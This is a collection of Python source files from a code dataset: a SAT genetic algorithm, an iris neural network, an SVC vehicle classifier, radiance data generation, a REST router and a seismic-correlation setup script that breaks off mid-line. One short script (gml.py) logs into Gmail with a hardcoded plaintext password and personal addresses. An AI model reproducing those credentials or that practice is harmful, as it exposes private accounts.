+{"seq_id":"230525733","text":"from __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport datetime\nimport json\n\nimport flask\n\nfrom git_code_debt.server import logic\nfrom git_code_debt.server import metric_config\nfrom git_code_debt.server.presentation.commit_delta import CommitDeltaPresenter\nfrom git_code_debt.server.presentation.delta import DeltaPresenter\nfrom git_code_debt.server.render_mako import render_template\n\n\nchanges = flask.Blueprint('changes', __name__)\n\n\n@changes.route('/changes///')\ndef show(metric_name, start_timestamp, end_timestamp):\n start_timestamp = int(start_timestamp)\n end_timestamp = int(end_timestamp)\n\n metric_changes = sorted(logic.get_major_changes_for_metric(\n flask.g.db, start_timestamp, end_timestamp, metric_name,\n ))\n metric_changes = [\n (\n datetime.datetime.fromtimestamp(timestamp).strftime(\n '%Y-%m-%d %H:%M:%S',\n ),\n sha,\n CommitDeltaPresenter.from_data(\n metric_name,\n DeltaPresenter('javascript:;', value),\n )\n )\n for timestamp, sha, value in metric_changes\n ]\n\n override_classname = (\n 'color-override'\n if metric_name in metric_config.color_overrides\n else ''\n )\n\n rendered_template = render_template(\n 'changes.mako',\n changes=metric_changes,\n override_classname=override_classname,\n )\n\n return json.dumps({'body': rendered_template})\n","sub_path":"git_code_debt/server/servlets/changes.py","file_name":"changes.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"185258806","text":"import random\nfrom operator import itemgetter\nCNF=[]\nwith open(\"cnf.txt\") as f:\n var,clause=[int(x) for x in next(f).split()]\n for line in f:\n cnf=[]\n #print(line)\n for i in line.split():\n if(int(i)!=0):\n cnf.append(int(i))\n \n CNF.append(cnf)\n #remove last two empty array\n #print(CNF) \n\nclause_number=clause\nprint(\"Clause: \",clause_number)\nliteral_number=3\nvariable_number=var\nprint(\"Variable : \",variable_number)\npop_size=10\n\n\ndef generatePopulation():\n population=[]\n \n for eachChromosome in range(pop_size):\n chromosome=[]\n for gene in range(variable_number):\n chromosome.append(random.randint(0,1))\n population.append(chromosome)\n return population\n \n \n \ndef fitness(chromosome):\n OR=0\n AND=0 #true-clause number\n print(chromosome)\n for i in range(0,clause_number):\n for j in range(0,literal_number):\n if(CNF[i][j]>0):\n OR|= chromosome[CNF[i][j]-1]\n elif(CNF[i][j]<0):\n #print(\"out of range: \",i,j,CNF,abs(CNF[i][j])-1)\n OR |= (chromosome[abs(CNF[i][j])-1]+1)%2\n AND+=OR \n OR=0\n return AND\n\ndef rankChromosome(population):\n fitnesses=[]\n for chromosome in population:\n fit=fitness(chromosome)\n fitnesses.append(fit)\n print(chromosome)\n print(fit)\n pop_fitness_tuple=zip(population,fitnesses)\n sortedPop=sorted(pop_fitness_tuple,key= itemgetter(-1),reverse=True)\n #print(sortedPop)\n return sortedPop\n\ndef tournamentSelection(population):\n tournament_size=5\n best=None\n for i in range(tournament_size):\n chromosome=population[random.randint(0,pop_size-1)]\n if best is None or fitness(chromosome)>fitness(best):\n best=chromosome\n return best\n\ndef onePointCrossover(parent_a,parent_b):\n c=random.randint(0,variable_number)\n c=int(variable_number/2)\n #print(c)\n for i in range(c,variable_number):\n temp=parent_a[i]\n parent_a[i]=parent_b[i]\n parent_b[i]=temp\n return (parent_a,parent_b)\n\ndef twoPointCrossover(parent_a,parent_b):\n c=random.randint(0,variable_number)\n d=random.randint(0,variable_number)\n if c>d:\n temp=c\n c=d\n d=temp\n #print(c,d)\n for i in range(c,d):\n temp=parent_a[i]\n parent_a[i]=parent_b[i]\n parent_b[i]=temp\n return (parent_a,parent_b)\n\ndef bit_flip_mutation(parent):\n probability=1/variable_number\n for i in range(variable_number):\n if probability >= random.random():\n parent[i]=(parent[i]+1)%2\n #print(parent[i])\n return parent\n\ndef main():\n newPopSize=0;\n max_generation=1000\n generation=0\n population=generatePopulation()\n #rankedPop=rankChromosome(population)\n best=None\n #best_fit=rankedPop[0][1]\n## population=generatePopulation()\n## print(population)\n## rankedPop=rankChromosome(population)\n## print(rankedPop)\n \n while generation<=max_generation:\n for chromosome in population:\n if best is None or fitness(chromosome)>fitness(best):\n best=chromosome\n #print(\"generation\",generation)\n## rankedPop=rankChromosome(population)\n## best=rankedPop[0][0]\n## best_fit=rankedPop[0][1]\n print(\"best: \",best)\n best_fit=fitness(best)\n if best_fit==clause_number:\n return best,generation\n newPop=[]\n \n while len(newPop)<=pop_size:\n parent_a=tournamentSelection(population)\n parent_b=tournamentSelection(population)\n if(random.random()>=0.5):\n child_a,child_b=onePointCrossover(parent_a,parent_b)\n else:\n child_a,child_b=twoPointCrossover(parent_a,parent_b)\n child_a=bit_flip_mutation(child_a)\n child_b=bit_flip_mutation(child_b)\n newPop.append(child_a)\n newPop.append(child_b)\n population.extend(newPop)\n \n rankedPop=rankChromosome(population)\n population=rankedPop[:pop_size] #elitism\n generation+=1\n return best,max_generation\nif __name__==\"__main__\":\n best,generation=main()\n best_fit=fitness(best)\n print(\"Result Clause: \",best)\n print(\"Best fit: \", best_fit)\n print(\"Generation: \",generation)\n## best=None\n## population=generatePopulation()\n## for chromosome in population:\n## if best is None or fitness(chromosome)>fitness(best):\n## best=chromosome\n## best_fit=fitness(best)\n## if best_fit==clause_number:\n## return best\n## newPop=[]\n## while len(newPop)<=pop_size:\n## \n## print\n## print(\"best: \",best)\n## print(fitness(best))\n## print(population)\n## rankedPop=rankChromosome(population)\n## print(rankedPop)\n## \n#population=generatePopulation()\n#rankedPop=rankChromosome(population)\n#parent_a=tournamentSelection(population)\n#print(parent_a)\n#parent_b=tournamentSelection(population)\n#print(parent_b)\n#tup=onePointCrossover(parent_a,parent_b)\n#print(tup)\n#mutate=bit_flip_mutation(parent_a)\n#print(rankedPop[0][1])\n#print(tournamentSelection(population))\n \n","sub_path":"genetic algorithm.py","file_name":"genetic algorithm.py","file_ext":"py","file_size_in_byte":5252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"1253162","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport h5py\nimport radiative_transfer as rt\n\nf = h5py.File(\"LWIR_TUD_MAKO.h5\", \"r\")\nprint(list(f.keys()))\n\nX = f[\"X\"][...].astype(np.float32)\ntau = f[\"tau\"][...].astype(np.float32)\nLa = f[\"La\"][...].astype(np.float32)\nLd = f[\"Ld\"][...].astype(np.float32)\nTs = f[\"Ts\"][...].astype(np.float32)\n\nf.close()\n\nf = h5py.File(\"LWIR_Emissivity_DB_MAKO.h5\")\nprint(list(f.keys()))\n\nemis = f[\"emis\"][...].astype(np.float32)\n\nf.close()\n\ndT = np.arange(-10, 10.5, 0.5).astype(np.float32)\nL = rt.compute_LWIR_apparent_radiance(X, emis, Ts, tau, La, Ld, dT)\nT = Ts[:, np.newaxis] + dT[np.newaxis,:]\n\n# Save as HDF5 file\nhf = h5py.File('LWIR_HSI_MAKO.h5', 'w')\nd = hf.create_dataset('X', data=X)\nd.attrs['units'] = 'cm^{-1}'\nd.attrs['name'] = 'Wavenumbers'\nd.attrs['info'] = 'Spectral axis for L, emis, tau, La, Ld'\nd.attrs['label'] = r'$\\tilde{\\nu} \\,\\, \\left[\\si{cm^{-1}} \\right]$'\n\nd = hf.create_dataset('L', data=L)\nd.attrs['units'] = 'µW/(cm^2 sr cm^{-1})'\nd.attrs['name'] = 'Apparent Spectral Radiance'\nd.attrs['info'] = 'For spaceborn nadir-viewing sensor. Shape is (nX, nE, nA, nT) where nX is # spectral channels, nE is # materials, nA is # atmospheres, nT is # surface temperatures'\nd.attrs['label'] = r'$L(\\tilde{\\nu})\\,\\,\\left[\\si{\\micro W/(cm^2.sr.cm^{-1})}\\right]$'\n\nd = hf.create_dataset('emis', data=emis)\nd.attrs['units'] = 'none'\nd.attrs['name'] = 'Emissivity'\nd.attrs['info'] = 'Effective, Hemispherically-averaged Emissivity'\nd.attrs['label'] = r'$\\varepsilon(\\tilde{\\nu})$'\n\nd = hf.create_dataset('T', data=T)\nd.attrs['units'] = 'K'\nd.attrs['name'] = 'Surface temperature'\nd.attrs['info'] = ''\nd.attrs['label'] = r'$T_s \\,\\, \\left[ \\si{K} \\right]$'\n\nd = hf.create_dataset('tau', data=tau)\nd.attrs['units'] = 'none'\nd.attrs['name'] = 'Transmissivity'\nd.attrs['info'] = 'For nadir-viewing path'\nd.attrs['label'] = r'$\\tau(\\tilde{\\nu})$'\n\nd = hf.create_dataset('La', data=La)\nd.attrs['units'] = 'µW/(cm^2 sr cm^{-1})'\nd.attrs['name'] = 'Atmospheric Path Spectral Radiance'\nd.attrs['info'] = 'For nadir-viewing path, earth-to-space'\nd.attrs['label'] = r'$L_a(\\tilde{\\nu})\\,\\,\\left[\\si{\\micro W/(cm^2.sr.cm^{-1})}\\right]$'\n\nd = hf.create_dataset('Ld', data=Ld)\nd.attrs['units'] = 'µW/(cm^2 sr cm^{-1})'\nd.attrs['name'] = 'Atmospheric Downwelling Spectral Radiance'\nd.attrs['info'] = 'Hemispherically-averaged, space-to-earth'\nd.attrs['label'] = r'$L_d(\\tilde{\\nu})\\,\\,\\left[\\si{\\micro W/(cm^2.sr.cm^{-1})}\\right]$'\n\nhf.close()\n\n# Reshape and split into training, testing, and validation subsets\nnX, nE, nA, nT = L.shape\nidx=[]\nfor ixE in range(nE):\n for ixA in range(nA):\n for ixT in range(nT):\n idx.append([ixE, ixA, ixT])\nidx = np.asarray(idx)\nL = np.reshape(L, (L.shape[0], np.prod(L.shape[1:])))\nL = L.T\nemis = emis.T\ntau = tau.T\nLa = La.T\nLd = Ld.T\n\nixP = np.random.permutation(np.arange(L.shape[0]))\nL = L[ixP,:]\nidx = idx[ixP,:]\nixE = idx[:, 0]\nixA = idx[:, 1]\nixT = idx[:, 2]\n\n# Split into training, testing, and validation\nf_tr = 0.75\n\ndef gen_indices(f, N):\n ix_tr = np.round(np.linspace(0, N-1, np.int(f * N))).astype(np.int)\n ix_diff = np.sort(np.asarray(list(set.difference(set(np.arange(N)), set(ix_tr)))))\n ix_te = ix_diff[0::2]\n ix_va = ix_diff[1::2]\n return ix_tr, ix_te, ix_va\n\nixTrain, ixTest, ixValidate = gen_indices(f_tr,L.shape[0])\n\nnp.savez('LWIR_HSI_MAKO.npz', X=X, L=L, ixE=ixE, ixA=ixA, ixT=ixT, emis=emis, T=T, tau=tau, La=La, Ld=Ld,\n ixTrain=ixTrain, ixTest=ixTest, ixValidate=ixValidate)\n\nfor _ in range(5):\n ii = np.random.randint(0,L.shape[0])\n ixE = idx[ii, 0]\n ixA = idx[ii, 1]\n ixT = idx[ii, 2]\n mdl = tau[ixA,:] * (emis[ixE,:] * rt.planckian(X, T[ixA,ixT]) + (1 - emis[ixE,:]) * Ld[ixA,:]) + La[ixA,:]\n plt.plot(X, L[ii,:])\n plt.plot(X,mdl,'.')\n plt.show()\n","sub_path":"Compute_LWIR_Apparent_Radiance.py","file_name":"Compute_LWIR_Apparent_Radiance.py","file_ext":"py","file_size_in_byte":3809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"420120004","text":"from rest_framework.routers import Route, SimpleRouter\n\n\nclass UWSRouter(SimpleRouter):\n routes = [\n Route(\n url=r'^{prefix}$',\n mapping={'get': 'list', 'post': 'create'},\n name='{basename}-list',\n initkwargs={'suffix': 'List'}\n ),\n Route(\n url=r'^{prefix}/{lookup}$',\n mapping={'get': 'retrieve', 'post': 'update', 'delete': 'destroy'},\n name='{basename}-detail',\n initkwargs={'suffix': 'Detail'}\n ),\n Route(\n url=r'^{prefix}/{lookup}/results$',\n mapping={'get': 'get_results'},\n name='{basename}-results',\n initkwargs={'suffix': 'Results'}\n ),\n Route(\n url=r'^{prefix}/{lookup}/parameters$',\n mapping={'get': 'get_parameters'},\n name='{basename}-parameters',\n initkwargs={'suffix': 'Parameters'}\n ),\n Route(\n url=r'^{prefix}/{lookup}/destruction$',\n mapping={'get': 'get_destruction', 'post': 'post_destruction'},\n name='{basename}-destruction',\n initkwargs={'suffix': 'Destruction'}\n ),\n Route(\n url=r'^{prefix}/{lookup}/executionduration$',\n mapping={'get': 'get_executionduration', 'post': 'post_executionduration'},\n name='{basename}-executionduration',\n initkwargs={'suffix': 'Executionduration'}\n ),\n Route(\n url=r'^{prefix}/{lookup}/phase$',\n mapping={'get': 'get_phase', 'post': 'post_phase'},\n name='{basename}-phase',\n initkwargs={'suffix': 'Phase'}\n ),\n Route(\n url=r'^{prefix}/{lookup}/error$',\n mapping={'get': 'get_error'},\n name='{basename}-error',\n initkwargs={'suffix': 'Error'}\n ),\n Route(\n url=r'^{prefix}/{lookup}/quote$',\n mapping={'get': 'get_quote'},\n name='{basename}-quote',\n initkwargs={'suffix': 'Quote'}\n ),\n Route(\n url=r'^{prefix}/{lookup}/owner$',\n mapping={'get': 'get_owner'},\n name='{basename}-owner',\n initkwargs={'suffix': 'Owner'}\n ),\n ]\n","sub_path":"daiquiri/uws/routers.py","file_name":"routers.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"366358933","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 18 12:43:50 2019\n\n@author: s1881079\n\"\"\"\n\nimport ImgPro as ip\nimport MtchBD as mb\n\nfrom bdComps import SuspObj\n\nfrom simg_process import *\n\nimport os\n\n\ndef downloadImgOnly(url_txt,img_folder,key_txt):\n '''\n download images only and preview with online api to see how the api work on them\n \n '''\n key = ip.gen_process.getExtInfo(key_txt)\n \n if os.path.exists(img_folder,) is False:\n os.makedirs(img_folder)\n \n lst_gsv = ip.downloadGSV(url_txt,img_folder,key)\n \n img_csv = 'test_camloc'\n ip.gen_process.writeObjInfoCsv(lst_gsv,img_folder,img_csv)\n \n \nif __name__ == '__main__':\n url_txt = '../../data/gge_url/test_ggeurl.txt'\n img_folder = '../../intm_output/preview_imgs/'\n key_txt = '../../../locked/GSVdl_key.txt'\n \n downloadImgOnly(url_txt,img_folder,key_txt)\n ","sub_path":"workspace_merge/src/SemSticker/testGround.py","file_name":"testGround.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"499702313","text":"#!/usr/bin/env python\n\nfrom setuptools import setup, find_packages\nimport os, versioneer, subprocess, re\n\n__author__ = \"Lukas Elflein, Johannes Hörmann\"\n__copyright__ = \"Copyright 2019, IMTEK Simulation, University of Freiburg\"\n__maintainer__ = \"Johannes Hörmann\"\n__email__ = \"johannes.hoermann@imtek.uni-freiburg.de\"\n__date__ = \"Oct 25, 2019\"\n\nmodule_dir = os.path.dirname(os.path.abspath(__file__))\n\nif __name__ == \"__main__\":\n setup(\n name='continuous2discrete',\n version=versioneer.get_version(),\n cmdclass=versioneer.get_cmdclass(),\n description='Sample continuous (concentration) distributions and generate xyz file format coordiante sets',\n long_description=open(os.path.join(module_dir, 'README.md')).read(),\n url='https://github.com/lukaselflein/generate_distributed_structure',\n author='Lukas Elflein, Johannes Hörmann',\n author_email='johannes.hoermann@imtek.uni-freiburg.de',\n license='MIT',\n packages=find_packages(),\n package_data={'': ['ChangeLog.md']},\n python_requires='>3.6.3',\n zip_safe=False,\n install_requires=[\n 'ase>=3.19.0b1',\n 'matplotlib>=3.0.3',\n 'numpy >= 1.16.2',\n 'pandas>=0.24.2',\n 'pytest>=5.2.2',\n 'pytest-datadir>=1.3.1',\n 'scipy>=1.2.1',\n 'six>=1.12.0'],\n entry_points={\n 'console_scripts': [\n 'c2d = continuous2discrete.continuous2discrete:main',\n 'pnp = continuous2discrete.poisson_nernst_planck_distribution:main'\n ],\n }\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"605041932","text":"# Fernando Herrera\n# Last Edit: Week 2(?) of MSEIP '18\n# This program reads from an iris plant data set that was provided to us and \n# attempts to accurately identify the three plant species. No cross val.\nimport csv \nimport random\nimport math\n\ninput_Count = 4\nhidden1_Count = 10\noutput_Count = 3\nlearningRate = 0.05\nbeta = .95\n\n# Randomize weights. inner value is the columns. Outer value is the rows.\ninput_hidden1_LayerWeight = ( [[random.uniform(-1,1) for x in range(input_Count)] \nfor y in range(hidden1_Count)] )\nhidden1_output_LayerWeight = ( [[random.uniform(-1,1) for x in range(hidden1_Count)] \nfor y in range(output_Count)] )\n\ninput_hidden1_ThetaWeight = [random.uniform(-1,1) for x in range(hidden1_Count)]\nhidden1_output_ThetaWeight = [random.uniform(-1,1) for x in range(output_Count)]\n\ninput_hidden1_WeightChange = ( [[0 for x in range(input_Count)] for \ny in range(hidden1_Count)] )\nhidden1_output_WeightChange = ( [[0 for x in range(hidden1_Count)] for \ny in range(output_Count)] )\n\nhidden_Output = [0 for x in range(hidden1_Count)]\nfinal_Output = [0 for x in range(output_Count)]\n\n#Start of Neural Network\n\ninput = []\n\nwith open('iris.csv', newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n\t\n for row in csvreader:\n inputrow = []\n for counter in range(len(row)):\n inputrow.append(float(row[counter]))\n # Store all values in input.\n input.append(inputrow)\n\nfor e in range(100):\n performance = 0\n for r in range(len(input)):\n #print(\"Row \", r)\n\n # FEED FORWARD START\n #--------------------\n\n # Input layer -> Hidden Layer\n # j is row.\n for j in range(hidden1_Count):\n hidden_Output[j] = 0\n # k is column.\n for k in range(input_Count):\n # 150[r]x4[c] * 10[r]x4[c]\n hidden_Output[j] += input[r][k] * input_hidden1_LayerWeight[j][k]\n hidden_Output[j] = hidden_Output[j] - input_hidden1_ThetaWeight[j]\n # Perform activation function with X values.\n hidden_Output[j] = 1 / (1 + math.exp(-hidden_Output[j]))\n # hidden_Output now holds the Y.\n\n # Hidden layer -> Output layer\n for j in range(output_Count):\n # Reset.\n final_Output[j] = 0\n for k in range(hidden1_Count):\n final_Output[j] += (hidden_Output[k] * \n hidden1_output_LayerWeight[j][k] )\n final_Output[j] = final_Output[j] - hidden1_output_ThetaWeight[j]\n # Perform activation function with X values.\n final_Output[j] = 1 / (1 + math.exp(-final_Output[j]))\n\n # BACK PROPOGATION START\n #-----------------------\n\n # Temporary arrays for storing deltas.\n deltaOutputLayer = [0 for x in range(output_Count)]\n deltaHiddenLayer = [0 for x in range(hidden1_Count)]\n\n # Adjust values in output layer.\n for j in range(output_Count):\n # Calculate new deltas(3) from output layer.\n deltaOutputLayer[j] = ( final_Output[j] * (1 - final_Output[j]) * \n (input[r][4+j] - final_Output[j]) )\n # Adjust theta weight.\n for k in range(hidden1_Count):\n # Calculate new weights(10) from output layer.\n hidden1_output_LayerWeight[j][k] = ( \n hidden1_output_LayerWeight[j][k] + (learningRate * \n deltaOutputLayer[j] * hidden_Output[k]) + \n (beta * hidden1_output_WeightChange[j][k]) )\n\n hidden1_output_WeightChange[j][k] = (\n (learningRate * deltaOutputLayer[j] * hidden_Output[k]) )\n # Calculate new theta(3) from output layer.\n hidden1_output_ThetaWeight[j] = ( hidden1_output_ThetaWeight[j] + \n (learningRate * -1 * deltaOutputLayer[j]) )\n\n # Adjust values in hidden layer.\n for j in range(hidden1_Count):\n sum = 0\n for i in range(output_Count):\n # [column][row]\n # [0][0], [1][0], [2],[0]\n sum += deltaOutputLayer[i] * hidden1_output_LayerWeight[i][j]\n deltaHiddenLayer[j] = hidden_Output[j] * (1 - hidden_Output[j]) * sum\n for k in range(input_Count):\n input_hidden1_LayerWeight[j][k] = ( \n input_hidden1_LayerWeight[j][k] + \n (learningRate * deltaHiddenLayer[j] * input[r][k]) +\n (beta * input_hidden1_WeightChange[j][k]) )\n\n input_hidden1_WeightChange[j][k] = (\n (learningRate * deltaHiddenLayer[j] * input[r][k]) )\n input_hidden1_ThetaWeight[j] = ( input_hidden1_ThetaWeight[j] + \n (learningRate * -1 * deltaHiddenLayer[j]) )\n\n for j in range(3):\n performance += abs(input[r][4+j] - final_Output[j])\n\n #row END\n performance = performance / 150\n print(\"Loss is: \", performance)\n#epoch END\n\nfor r in range(len(input)):\n for j in range(hidden1_Count):\n # Reset.\n hidden_Output[j] = 0\n # k is column.\n for k in range(input_Count):\n # 150[r]x4[c] * 10[r]x4[c]\n hidden_Output[j] += input[r][k] * input_hidden1_LayerWeight[j][k]\n hidden_Output[j] = hidden_Output[j] - input_hidden1_ThetaWeight[j]\n # Perform activation function with X values.\n hidden_Output[j] = 1 / (1 + math.exp(-hidden_Output[j]))\n # hidden_Output now holds the Y.\n #print(hidden_Output[j]\n\n # Hidden layer -> Output layer\n for j in range(output_Count):\n # Reset.\n final_Output[j] = 0\n for k in range(hidden1_Count):\n final_Output[j] += hidden_Output[k] * hidden1_output_LayerWeight[j][k]\n final_Output[j] = final_Output[j] - hidden1_output_ThetaWeight[j]\n # Perform activation function with X values.\n final_Output[j] = 1 / (1 + math.exp(-final_Output[j]))\n\n print(\"Prediction: \", final_Output[j], \"Label: \", input[r][j+4])\n print(\" \")\n\n","sub_path":"plant_nn_v1.py","file_name":"plant_nn_v1.py","file_ext":"py","file_size_in_byte":6184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"24603848","text":"\n\n\n\nimport smtplib\n\ns=smtplib.SMTP('smtp.gmail.com','587')\ns.starttls()\nreceiver='harshitarkumbar22@gmail.com'\nsender='gaganmsdhonikumar@gmail.com'\nmsg=\"hii\"\ns.login(sender,'89456123')\ns.sendmail(sender,receiver,msg)\nprint(\"msg sent successfully\")\ns.quit()","sub_path":"gml.py","file_name":"gml.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"291231792","text":"import glob\nimport time\nimport pickle\nimport os\nimport numpy as np\nfrom sklearn.svm import LinearSVC\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom . import lesson_functions\n\n\ndef read_images():\n \"\"\"\n Read the training images \n Returns the images splited between cars and not cars\n\n This test images are downloaded from the GTI vehicle image database\n http://www.gti.ssr.upm.es/data/Vehicle_database.html\n \"\"\"\n # Read in car and non-car images\n images = glob.glob('images/**/**/*.png')\n cars = []\n notcars = []\n for image in images:\n if 'non-vehicles' in image:\n notcars.append(image)\n else:\n cars.append(image)\n\n print(\"Cars found: \", len(cars))\n print(\"Not cars found: \", len(notcars))\n print(\"Total: \", len(cars) + len(notcars))\n\n return cars, notcars\n\n\ndef training():\n \"\"\"\n Training Linear SVC\n Returns the trained Linear SVC and a trained StandardScaler \n \"\"\"\n\n dir = os.path.dirname(__file__)\n trainingFilePath = dir + \"/../training.p\"\n\n if os.path.isfile(trainingFilePath) is False:\n t = time.time()\n\n cars, notcars = read_images()\n\n print(\"Extracting features...\")\n car_features = lesson_functions.extract_features(cars)\n notcar_features = lesson_functions.extract_features(notcars)\n\n\n print(\"Getting vectors...\")\n # Create an array stack of feature vectors\n X = np.vstack((car_features, notcar_features)).astype(np.float64)\n # Fit a per-column scaler\n X_scaler = StandardScaler().fit(X)\n # Apply the scaler to X\n X_scaled = X_scaler.transform(X)\n\n # Define the labels vector\n y = np.hstack((np.ones(len(car_features)), np.zeros(len(notcar_features))))\n\n\n # Split up data into randomized training and test sets\n print(\"Splitting...\")\n rand_state = np.random.randint(0, 100)\n X_train, X_test, y_train, y_test = train_test_split(X_scaled, y, test_size=0.2, random_state=42)\n print(len(y_train), \"training images\")\n print(len(y_test), \"testing images\")\n\n\n # Use a linear SVC \n print(\"Training...\")\n svc = LinearSVC()\n svc.fit(X_train, y_train)\n\n # Get the score of the SVC\n test_accuracy = round(svc.score(X_test, y_test), 4)\n print('Test Accuracy of SVC = ', test_accuracy)\n\n t2 = time.time()\n print(round(t2-t, 2), 'Seconds to train')\n\n # save values to transform 3D to 2D\n data = {'svc': svc, 'X_scaler': X_scaler}\n\n # save file\n with open(trainingFilePath, 'wb') as f:\n pickle.dump(data, file=f)\n\n else:\n trainingData = pickle.load( open(trainingFilePath, \"rb\") )\n svc = trainingData['svc']\n X_scaler = trainingData['X_scaler']\n\n\n return svc, X_scaler\n","sub_path":"src/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"37944838","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nSCORR - Salvus Correlation\n\n:copyright:\n Korbinian Sager (korbinian_sager@brown.edu), 2021\n:license:\n MIT License\n\"\"\"\nfrom pathlib import Path\n\nimport numpy as np\nimport pytest\nfrom scorr.extensions import scorr_extensions\nfrom scorr.noise_source.noise_source_setup import setup_noise_source\nfrom scorr.tasks import preparation\n\n# specify where the tests should run\nDIR_PROJECT = Path.home() / \"scorr_inversion_synthetic\"\n\n# specify mesh\nmesh_name = \"Globe3D_prem_iso_one_crust_100.e\"\n# mesh_name = \"Globe3D_prem_iso_one_crust_100_with_s20.e\"\n\n# load and edit configuration\nconfig = scorr_extensions.load_configuration(DIR_PROJECT / \"config\" / \"scorr.json\", type=\"scorr\")\n\nconfig[\"working_dir_local\"] = DIR_PROJECT\nconfig[\"simulation\"][\"reference_stations\"] = config[\"working_dir_local\"] / \"reference_stations.json\"\nconfig[\"simulation\"][\"mesh\"] = config[\"working_dir_local\"] / mesh_name\n\nconfig[\"simulation\"][\"green_starttime\"] = -400.0\nconfig[\"simulation\"][\"corr_max_lag\"] = 21600.0\nconfig[\"simulation\"][\"corr_max_lag_causal\"] = 7200\nconfig[\"simulation\"][\"dt\"] = 0.5\n\nconfig[\"simulation\"][\"kernel-fields\"] = \"VP,VS,RHO\"\nconfig[\"simulation\"][\"anisotropy\"] = False\nconfig[\"simulation\"][\"attenuation\"] = True\nconfig[\"simulation\"][\"sampling_rate_boundary\"] = 20\nconfig[\"simulation\"][\"sampling_rate_volume\"] = 20\nconfig[\"noise_source\"][\"filename\"] = config[\"working_dir_local\"] / \"noise_source\" / \"noise_source.h5\"\n# config[\"noise_source\"][\"filename\"] = config[\"working_dir_local\"] / \"noise_source\" / \"noise_source_obs.h5\"\n\nconfig[\"simulation\"][\"sideset\"] = \"r1\"\nconfig[\"simulation\"][\"green_component\"] = 0\nconfig[\"simulation\"][\"green_amplitude\"] = -1.0e10\nconfig[\"noise_source\"][\"component_dist_source\"] = 0\nconfig[\"noise_source\"][\"component_wavefield\"] = 0\nconfig[\"simulation\"][\"recording\"] = \"u_ELASTIC\"\nconfig[\"noise_source\"][\"filter_spec\"] = [0.0033333, 0.01]\nconfig[\"simulation\"][\"absorbing\"][\"boundaries\"] = None\nconfig[\"simulation\"][\"absorbing\"][\"axis-aligned\"] = False\nconfig[\"simulation\"][\"spherical\"] = True\n\n# loc_sources = [[0.0, 0.0, 100.0]]\n# loc_receivers = [[[0.0, 0.0, 100.0], [0.0, 10.0, 100.0], [0.0, 20.0, 100.0],\n# [0.0, 30.0, 100.0], [0.0, 40.0, 100.0], [0.0, 50.0, 100.0],\n# [0.0, 60.0, 100.0], [0.0, 70.0, 100.0], [0.0, 80.0, 100.0],\n# [0.0, 90.0, 100.0], [0.0, 100.0, 100.0], [0.0, 110.0, 100.0],\n# [0.0, 121.0, 100.0], [0.0, 130.0, 100.0], [0.0, 140.0, 100.0],\n# [0.0, 150.0, 100.0], [0.0, 160.0, 100.0], [0.0, 170.0, 100.0],\n# [0.0, 180.0, 100.0], [0.0, -10.0, 100.0], [0.0, -20.0, 100.0],\n# [0.0, -29.0, 100.0], [0.0, -40.0, 100.0], [0.0, -50.0, 100.0],\n# [0.0, -60.0, 100.0], [0.0, -70.0, 100.0], [0.0, -79.0, 100.0],\n# [0.0, -90.0, 100.0], [0.0, -100.0, 100.0], [0.0, -110.0, 100.0],\n# [0.0, -120.0, 100.0], [0.0, -130.0, 100.0], [0.0, -141.0, 100.0],\n# [0.0, -150.0, 100.0], [0.0, -160.0, 100.0], [0.0, -170.0, 100.0],\n# [10.0, 0.0, 100.0], [20.0, 0.0, 100.0],\n# [30.0, 0.0, 100.0], [40.0, 0.0, 100.0], [50.0, 0.0, 100.0],\n# [60.0, 0.0, 100.0], [70.0, 0.0, 100.0], [80.0, 0.0, 100.0],\n# [90.0, 0.0, 100.0], [-10.0, 0.0, 100.0], [-20.0, 0.0, 100.0],\n# [-30.0, 0.0, 100.0], [-40.0, 0.0, 100.0], [-50.0, 0.0, 100.0],\n# [-60.0, 0.0, 100.0], [-70.0, 0.0, 100.0], [-80.0, 0.0, 100.0],\n# [-90.0, 0.0, 100.0],\n# [45.0, 45.0, 100.0], [45.0, -45.0, 100.0], [-45.0, -45.0, 100.0], [-45.0, 45.0, 100.0],\n# [33.051491, -114.827057, 100.0]\n# ]]\n\nloc_receivers = []\n# n_sources = 1\nn_sources = 15\nwith open(DIR_PROJECT / \"_sts-1_filtered.txt\", mode=\"r\") as fh:\n for i_src in range(n_sources):\n loc_receivers.append([])\n for line in fh:\n station = [float(item) for item in line.strip().split(\",\")]\n loc_receivers[i_src].append(station)\n fh.seek(0)\n\nloc_sources = []\n# source_list = [3]\nsource_list = [3, 4, 12, 14, 15, 19, 22, 30, 37, 42, 46, 51, 114, 115, 120]\nassert len(source_list) == n_sources\nfor i_src in range(n_sources):\n loc_sources.append(loc_receivers[i_src].pop(source_list[i_src]))\n\n# some safety measures, stf generation is not yet general enough\nnt_corr = abs(config[\"simulation\"][\"corr_max_lag\"]) / config[\"simulation\"][\"dt\"]\nnt_green = abs(config[\"simulation\"][\"green_starttime\"]) / config[\"simulation\"][\"dt\"]\n\nassert np.mod(nt_corr, 1) == pytest.approx(0, 